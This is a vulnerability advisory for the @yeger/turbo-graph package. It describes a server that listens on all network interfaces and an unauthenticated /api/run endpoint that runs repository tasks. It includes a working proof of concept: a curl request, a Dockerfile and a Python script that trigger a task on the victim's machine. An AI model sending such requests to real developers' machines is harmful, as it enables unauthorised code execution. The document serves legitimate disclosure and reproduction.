## Unauthenticated Network-Exposed Turborepo Task Execution via /api/run ### Summary `@yeger/turbo-graph` starts its embedded Next.js server without binding to the loopback interface, causing it to listen on all network interfaces (`0.0.0.0:29312` by default). The `/api/run` HTTP endpoint exposed by this server performs no authentication, authorization, CSRF protection, or task allowlist check before executing attacker-supplied Turborepo task names via `spawn()`. Any adjacent-network attacker can send an unauthenticated GET request to trigger arbitrary tasks defined in the victim's repository, resulting in code execution, file modification, destructive build side effects, or deployment of attacker-chosen targets with the privileges of the developer's OS user. ### Details Two independent flaws combine to create a remotely exploitable unauthenticated code execution vulnerability: **Flaw 1 — Server bound to all interfaces (not loopback)** `packages/turbo-graph/src/index.ts:44` calls `.listen(options.port, callback)` without passing a hostname argument. Although `const hostname = 'localhost'` is declared at line 19, it is used only for constructing the console log URL and is never passed to `listen()`. Node.js therefore defaults to binding on `0.0.0.0` (all IPv4 interfaces) and `::` (all IPv6 interfaces), making the server reachable from the local network segment. ```ts // packages/turbo-graph/src/index.ts 19 const hostname = 'localhost' // used only for console URL, not for listen() ... 44 .listen(options.port, () => { // hostname argument missing → 0.0.0.0 bind 45 const url = `http://${hostname}:${options.port}` ``` **Flaw 2 — Unauthenticated `/api/run` task execution endpoint** `packages/turbo-graph-ui/app/api/run/route.ts:156–177` defines `GET()`, which reads `tasks`, `filter`, and `force` from the request query string and passes them directly to `buildResponseFromArgs`, which appends them to a Turbo CLI argument array and calls `spawn()`. There is no authentication check, no session validation, no CSRF token, and no task allowlist anywhere in this handler. ```ts // packages/turbo-graph-ui/app/api/run/route.ts 156 export function GET(req: NextRequest) { 157 const url = new URL(req.url) 159 const tasksParam = url.searchParams.getAll('tasks') // attacker-controlled source 171 const filter = url.searchParams.get('filter') ?? undefined 176 return buildResponseFromArgs(tasks, filter, req.signal, { force }) // buildResponseFromArgs — packages/turbo-graph-ui/app/api/run/route.ts 20 const args: string[] = ['run', ...tasks] // tasks inserted directly 25 args.push(`--filter=${trimmed}`) 31 args.push('--force') 34 const child = spawn(turboBin, args, { cwd: dir, env: { ...process.env, CI: 'true' } }) // ^ sink: arbitrary task execution ``` Because `spawn()` is invoked with an argument array (not a shell string), traditional shell metacharacter injection does not apply. However, this does not mitigate the vulnerability: any task name defined in `turbo.json` of the victim's repository can be selected and run without restriction. ### PoC **Environment setup (victim machine):** ```bash mkdir /tmp/tg-poc && cd /tmp/tg-poc cat > package.json <<'JSON' { "private": true, "scripts": { "pwn": "node -e \"require('fs').writeFileSync('/tmp/turbo-graph-poc', 'owned\\n')\"" }, "devDependencies": { "@yeger/turbo-graph": "2.8.8", "turbo": "^2.0.0" } } JSON cat > turbo.json <<'JSON' { "tasks": { "pwn": { "cache": false } } } JSON npm install npx turbo-graph --port 29312 ``` **Verify the server is bound to all interfaces (Flaw 1):** ```bash ss -tlnp 'sport = :29312' # Expected: LISTEN 0 511 *:29312 (0.0.0.0, not 127.0.0.1) ``` **Attack request (from any host on the same network segment):** ```bash # Replace <victim-ip> with the victim machine's LAN IP address. curl -N "http://<victim-ip>:29312/api/run?tasks=pwn&force=true" ``` **Expected outcome:** - The server returns HTTP 200 with a `text/event-stream` response. - An SSE `start` event is received with `args: ["run", "pwn", "--ui=stream", "--force"]`, confirming that the unauthenticated request was accepted. - The file `/tmp/turbo-graph-poc` is created on the victim machine with content `owned`, proving arbitrary task execution. **Containerized reproduction (automated):** The enclosed `Dockerfile` and `poc.py` provide a self-contained reproduction. Build and run: ```bash docker build -t vuln-001-poc <vuln-001-dir> docker run --rm vuln-001-poc ``` The container confirmed all three evidence points during Phase 2 dynamic testing: 1. `ss -tlnp sport=:29312` → `LISTEN 0 511 *:29312` (all-interface binding confirmed) 2. `GET /api/run?tasks=pwn&force=true` → HTTP 200, SSE `start` event with `args: ["run","pwn","--ui=stream","--force"]` (no token required) 3. `/tmp/poc-proof.txt` created with content `PWNED:<timestamp>` (arbitrary task execution confirmed) ### Impact This is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. Any unauthenticated attacker reachable on the same network segment as a developer running `turbo-graph` can execute arbitrary Turborepo tasks defined in that developer's repository. Depending on the tasks configured in the victim's `turbo.json`, the impact includes: - **Confidentiality (High):** Tasks that read secrets, generate build artifacts, or invoke cloud CLI commands can exfiltrate sensitive data. - **Integrity (High):** Tasks that write files, run migrations, commit code, or invoke deployment scripts can permanently modify the victim's project or infrastructure. - **Availability (High):** Tasks that delete data, exhaust resources, or run destructive build steps can disrupt ongoing development work. The attack requires no credentials, no prior access, and no interaction from the victim beyond having `turbo-graph` running. The default port (`29312`) is static and predictable, making targeted network scanning straightforward. All users who run `npx turbo-graph` or install `@yeger/[email protected]` in a shared or corporate network environment are affected. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-001 PoC: Unauthenticated Turborepo Task Execution (@yeger/[email protected]) # # Layout: # /victim/ - simulated developer workspace that runs turbo-graph # /victim/pwn.js - the task payload executed when the attacker fires /api/run # /poc.py - attacker script: sends unauthenticated GET /api/run?tasks=pwn # # Build: # docker build -t vuln-001-poc <vuln-001-dir> # # Run: # docker run --rm vuln-001-poc FROM node:20-slim # System tools: # python3 - runs poc.py # iproute2 - ss(8) for socket-binding introspection (evidence collection) RUN apt-get update && \ apt-get install -y --no-install-recommends python3 iproute2 && \ rm -rf /var/lib/apt/lists/* # --------------------------------------------------------------------------- # Victim workspace: a minimal Turborepo project that a developer might run # --------------------------------------------------------------------------- WORKDIR /victim # package.json: defines the 'pwn' task script and package dependencies. # @yeger/[email protected] is the vulnerable package (from DerYeger/yeger). # turbo satisfies the peerDependency and provides node_modules/.bin/turbo. RUN echo '{"private":true,"name":"victim-project","packageManager":"[email protected]","scripts":{"pwn":"node /victim/pwn.js"},"devDependencies":{"@yeger/turbo-graph":"2.8.8","turbo":"^2.0.0","react":"^18.0.0","react-dom":"^18.0.0"}}' \ > /victim/package.json # turbo.json: declares the 'pwn' task with caching disabled so it always runs. RUN echo '{"tasks":{"pwn":{"cache":false}}}' \ > /victim/turbo.json # pwn.js: task payload — writes a timestamped proof file and logs to stdout. # When an attacker sends GET /api/run?tasks=pwn, turbo-graph runs this script. RUN echo 'const fs = require("fs"); const ts = Date.now().toString(); fs.writeFileSync("/tmp/poc-proof.txt", "PWNED:" + ts); console.log("TASK_EXECUTED:" + ts);' \ > /victim/pwn.js # Install packages from the declarations in package.json. # --legacy-peer-deps avoids strict peer-dep resolution failures. # The published @yeger/[email protected] tarball ships a pre-built # .next/ directory, so no separate 'next build' step is required. RUN npm install --legacy-peer-deps --no-fund --no-audit 2>&1 | tail -5 # --------------------------------------------------------------------------- # Attacker PoC script # --------------------------------------------------------------------------- COPY poc.py /poc.py # Default: execute the PoC (start server, fire unauthenticated request, verify) CMD ["python3", "/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Unauthenticated Network-Exposed Turborepo Task Execution Package: @yeger/[email protected] CWE: CWE-306 (Missing Authentication for Critical Function) CVSS: 8.8 High (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) Two independent flaws combine into the vulnerability: 1. packages/turbo-graph/src/index.ts:44 calls .listen(port) without a hostname argument, so Node.js defaults to 0.0.0.0 (all interfaces). 2. packages/turbo-graph-ui/app/api/run/route.ts:156-177 GET() handler has zero authentication; attacker-supplied ?tasks= values are passed directly to spawn(turboBin, ['run', ...tasks], { cwd: victimDir }). Attack scenario reproduced here: - Victim runs `turbo-graph` from a project with a side-effecting task. - Attacker sends a plain unauthenticated GET /api/run?tasks=pwn. - The server executes `turbo run pwn` in the victim's project directory. - The 'pwn' task writes /tmp/poc-proof.txt, proving arbitrary execution. """ import os import socket import subprocess import sys import time import urllib.error import urllib.request # --------------------------------------------------------------------------- # Configuration # --------------------------------------------------------------------------- PROOF_FILE = "/tmp/poc-proof.txt" PORT = 29312 VICTIM_DIR = "/victim" TURBO_GRAPH_BIN = os.path.join(VICTIM_DIR, "node_modules", ".bin", "turbo-graph") SERVER_STARTUP_TIMEOUT = 120 # seconds; Next.js production startup can be slow REQUEST_TIMEOUT = 90 # seconds to wait for the SSE stream to finish # --------------------------------------------------------------------------- # Helpers # --------------------------------------------------------------------------- def wait_for_port(host: str, port: int, timeout: int) -> bool: """Poll until the TCP port accepts connections or timeout expires.""" deadline = time.time() + timeout while time.time() < deadline: try: with socket.create_connection((host, port), timeout=2): return True except (ConnectionRefusedError, OSError): time.sleep(1) return False def get_socket_binding(port: int) -> str: """Return the raw 'ss' output for the listening socket on *port*.""" try: result = subprocess.run( ["ss", "-tlnp", f"sport = :{port}"], capture_output=True, text=True, timeout=5, ) return result.stdout.strip() except Exception as exc: return f"(ss unavailable: {exc})" def binding_is_all_interfaces(ss_output: str) -> bool: """Return True when the socket is listening on all interfaces.""" return any( marker in ss_output for marker in ("0.0.0.0", "*:", "[::]", ":::") ) def read_sse_stream(url: str, timeout: int) -> list: """ Open *url* as a Server-Sent Events stream and return parsed events. Each event is a dict with keys 'type' and optionally 'data'. Stops when an 'end' event is received or *timeout* seconds elapse. """ events = [] try: req = urllib.request.Request( url, headers={ "Accept": "text/event-stream", "Cache-Control": "no-cache", "Connection": "keep-alive", }, ) with urllib.request.urlopen(req, timeout=timeout) as resp: print(f" [HTTP] {resp.status} {resp.reason}") print(f" [HTTP] Content-Type: {resp.getheader('Content-Type', '')}") buf = "" deadline = time.time() + timeout while time.time() < deadline: chunk = resp.read(4096) if not chunk: break buf += chunk.decode("utf-8", errors="replace") # Parse complete SSE blocks (separated by blank lines) while "\n\n" in buf: block, buf = buf.split("\n\n", 1) ev: dict = {} for line in block.strip().split("\n"): if line.startswith("event: "): ev["type"] = line[7:] elif line.startswith("data: "): ev["data"] = line[6:] # ignore SSE comments (':') and 'retry:' lines if ev.get("type"): events.append(ev) preview = ev.get("data", "")[:120] print(f" [SSE] event={ev['type']} data={preview}") if ev["type"] == "end": return events except urllib.error.HTTPError as exc: print(f" [!] HTTP error: {exc.code} {exc.reason}") except Exception as exc: print(f" [!] Stream error: {type(exc).__name__}: {exc}") return events # --------------------------------------------------------------------------- # Main PoC # --------------------------------------------------------------------------- def main() -> int: sep = "=" * 64 print(sep) print("VULN-001 PoC — Unauthenticated Turborepo Task Execution") print("Package : @yeger/[email protected]") print("CWE-306 : Missing Authentication for Critical Function") print(sep) print() # Remove stale proof file from a previous run if os.path.exists(PROOF_FILE): os.remove(PROOF_FILE) # ------------------------------------------------------------------ # Step 1: Start turbo-graph server from the victim project directory # The CLI does NOT pass a hostname to .listen(), so Node.js binds to # 0.0.0.0 (all interfaces) — see index.ts:44. # ------------------------------------------------------------------ print(f"[1] Starting turbo-graph from {VICTIM_DIR} on port {PORT} ...") server = subprocess.Popen( [TURBO_GRAPH_BIN, "--port", str(PORT)], cwd=VICTIM_DIR, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, ) # ------------------------------------------------------------------ # Step 2: Wait for the port to become available # ------------------------------------------------------------------ print(f"[2] Waiting up to {SERVER_STARTUP_TIMEOUT}s for Next.js server startup ...") ready = wait_for_port("127.0.0.1", PORT, timeout=SERVER_STARTUP_TIMEOUT) if not ready: server.kill() stdout, _ = server.communicate() print(f"[!] Server did not become ready within {SERVER_STARTUP_TIMEOUT}s.") print(f" stdout/stderr:\n{stdout[:2000]}") return 1 print(f"[+] Server is accepting connections on port {PORT}.") # ------------------------------------------------------------------ # Step 3: Verify that the socket is bound to 0.0.0.0 (all interfaces) # Flaw 1: .listen(port) without hostname → network-exposed. # ------------------------------------------------------------------ ss_output = get_socket_binding(PORT) print(f"\n[3] Socket binding (ss -tlnp sport=:{PORT}):") print(f" {ss_output}") if binding_is_all_interfaces(ss_output): print(f"[+] FLAW-1 CONFIRMED: Server bound to all interfaces (0.0.0.0 / ::), not loopback only.") else: print(f"[?] Could not confirm all-interface binding; proceeding with request test.") # ------------------------------------------------------------------ # Step 4: Send an unauthenticated GET /api/run?tasks=pwn request # Flaw 2: no authentication, authorisation, CSRF check, or task # allowlist — see route.ts:156-177. # ------------------------------------------------------------------ url = f"http://127.0.0.1:{PORT}/api/run?tasks=pwn&force=true" print(f"\n[4] Sending unauthenticated HTTP request (no token, no credentials):") print(f" GET {url}") sse_events = read_sse_stream(url, timeout=REQUEST_TIMEOUT) # Allow a moment for any buffered I/O in the child process to flush time.sleep(3) # ------------------------------------------------------------------ # Step 5: Evaluate exploitation results # ------------------------------------------------------------------ exploited = os.path.exists(PROOF_FILE) proof_content = open(PROOF_FILE).read().strip() if exploited else "" start_event = next((e for e in sse_events if e.get("type") == "start"), None) end_event = next((e for e in sse_events if e.get("type") == "end"), None) log_events = [e for e in sse_events if e.get("type") in ("log", "stderr")] print() print(sep) print("EVIDENCE SUMMARY") print(sep) # Evidence A: socket binding if binding_is_all_interfaces(ss_output): print(f"[A] FLAW-1 — Socket bound to all interfaces: {ss_output.split(chr(10))[0][:80]}") else: print(f"[A] FLAW-1 — ss output: {ss_output[:80]}") # Evidence B: unauthenticated SSE response if start_event: print(f"[B] FLAW-2 — Unauthenticated /api/run accepted; SSE start args:") print(f" {start_event.get('data', '')}") else: received = [e.get("type") for e in sse_events] print(f"[B] FLAW-2 — SSE events received: {received}") # Evidence C: turbo task exit code if end_event: print(f"[C] TURBO — turbo run exit code: {end_event.get('data', '')}") # Evidence D: proof file (arbitrary code execution) if exploited: print(f"[D] EXPLOIT — Proof file created: {PROOF_FILE}") print(f" Content: {proof_content}") else: print(f"[D] EXPLOIT — Proof file NOT created: {PROOF_FILE}") if log_events: print(f" Task stdout/stderr (first 5 lines):") for ev in log_events[:5]: print(f" [{ev['type']}] {ev.get('data', '')}") print(sep) # Clean up server.kill() server.wait(timeout=10) if exploited: print("\n[RESULT] PASS — Exploitation reproduced. Proof file written by unauthenticated request.") return 0 else: print("\n[RESULT] FAIL — Proof file not created. See evidence above for diagnostics.") return 1 if __name__ == "__main__": sys.exit(main()) ```